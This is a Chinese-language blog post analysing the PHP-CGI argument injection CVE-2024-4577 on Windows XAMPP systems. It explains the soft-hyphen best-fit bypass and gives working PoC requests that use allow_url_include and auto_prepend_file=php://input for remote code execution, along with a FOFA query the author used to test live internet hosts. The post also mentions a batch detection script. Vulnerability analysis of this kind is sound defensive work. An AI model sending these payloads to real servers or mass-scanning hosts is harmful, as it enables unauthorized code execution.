概述
昨天台湾黑客Orange Tsai发布了关于一个PHP-cgi命令注入漏洞CVE-2024-4577的公告,介绍了一个十二年前漏洞的最新绕过,之后Devore发表了更详细的漏洞影响范围,主要影响Xampp for Windows环境以及代码页为简体/繁体中文与日文的系统。
看起来很厉害,实际上也很有趣,但影响并不像看起来广泛。我用fofa上前一千个符合条件的url测试,验证出漏洞的只有一个,fofa语法:
1 | app="xampp" && (country="CN" || country="JP") |
实际上利用条件比较苛刻。
漏洞原理
上面的博客和漏洞预警虽然信息丰富,但很难推断出漏洞具体如何利用,网上能搜到的poc也搞不明白原理。好在watchtowr很快发表了漏洞详细分析,让我们也能很快清楚利用细节。
实际上很容易,Tsai发现在中文/日文版本的Windows系统上,php-cgi会对字符做某种推断(best-fit),即将Unicode字符转为ASCII字符。例如短横线【-】有两种编码:
1 | 0x2D |
代码和命令中常用的都是0x2D
编码的短横线,很明显,PHP安全配置与WAF主要过滤的也是0x2D编码,Apache Handler也不会转义0xAD版本的短横线。当然这也没什么,因为在代码中,只有0x2d版本才能被正常解释为连字符的【短横线】。
但如前所述,PHP对字符做出了best-fit推断,将0xAD
转换为了0x2D
,导致命令行参数可以被正常传递给cgi解释器,造成安全问题。
原理很清晰,那么如何进一步利用呢?
这里用到了一个古老的漏洞CVE-2012-1823,当时PHP还不会过滤命令行参数,用户可以直接从URL传入-s
、-d
等可执行文件参数,例如下面的url:
1 | http://host/index.php?-s |
返回的不是PHP代码渲染后的网页,而是高亮的PHP源码。实际上是php-cgi执行了-s参数:
1 | user@debian:~$ php-cgi -h |
当然只传入参数当然不够用,这个漏洞还允许执行代码,即用-d
参数修改php.ini配置中的安全参数,再利用php://input伪协议从http请求体中传入具体命令,具体分析参见这篇博客:
To exploit this bug, you want PHP to read PHP code from your HTTP request. To do that, you will need a PHP option that tells PHP to read from a file and points it to
php://input
.
要利用此错误,您需要 PHP 从您的 HTTP 请求中读取 PHP 代码。为此,您需要一个 PHP 选项,该选项告诉 PHP 从文件中读取并将其指向php://input
.Luckily, PHP has an option named
auto_prepend_file
, which since version 4.2.3:
幸运的是,PHP 有一个名为auto_prepend_file
的选项,从 4.2.3 版开始:“Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used”.
“指定在主文件之前自动分析的文件的名称。该文件被包括在内,就好像它是用 require 函数调用的一样,因此使用了 include_path“。The good thing about this option is that the content of the file is included before any other file, i.e.: before any other code is run.
此选项的好处是文件的内容包含在任何其他文件之前,即:在运行任何其他代码之前。So you are sure that no other code will disrupt your exploitation attempt.
因此,您可以确定没有其他代码会破坏您的漏洞利用尝试。However, if we want to use
php://input
, we need to haveallow_url_include
enabled, which is often not the case. But since we can redefine the INI entries, we can easily turn it on using-d allow_url_include=1
.
但是,如果我们想使用php://input
,我们需要启用allow_url_include
,但通常情况并非如此。但是由于我们可以重新定义 INI 条目,因此我们可以轻松地使用-d allow_url_include=1
打开它。
构造出这样的poc就能实现:
1 | url?-d allow_url_include=1 -d auto_prepend_file=php://input |
不过时境过迁,当年的漏洞早就在十二年前被修复,但上面的绕过又将其复活了。
漏洞利用
根据上面的分析,很容易构造poc:
1 | POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 |
返回得到phpinfo页面:
注意:这里有个重要限制,绝大部分xampp服务器都是默认使用mod-php
作为PHP脚本解释器的Server API,但我们的漏洞必须要php-cgi
作为解释器才能复现。
所以从这里也能推出一种漏洞检测方法,请求url/dashboard/phpinfo
页面,获取Server API
字段的值,判断是否是cgi/FashCGI
,如果不是那绝大概率不存在漏洞。
话虽如此,当然还是测试命令能否正常执行并返回更靠谱,所以写个批量检测脚本:
1 | import subprocess |
多线程运行,实际上调的是curl
,所以用Linux跑更合适。
复现注意
使用xampp要注意配置为php-cgi解释器。
首先注释原本的Apache Handler解释器:
1 | LoadModule php_module "E:/xampp/php/php8apache2_4.dll" |
然后加上php-cgi配置:
1 | # 配置php-cgi/fastcgi做php解释器 |
之后直接测试-s
即%ads
是否有效:
发现出现于十二年前一样的回显。
没错,实际上就是这么简洁。
另一种利用
上面提到的文章中还有另一种不需要配置php-cgi的利用方式,但需要有下面的配置:
1 | ScriptAlias /php-cgi/ "C:/xampp/php/" |
是利用配置选项REDIRECT_STATUS=1
实现的,poc也很简洁:
1 | POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1 |
测试:
此时使用xampp默认配置也可以实现RCE。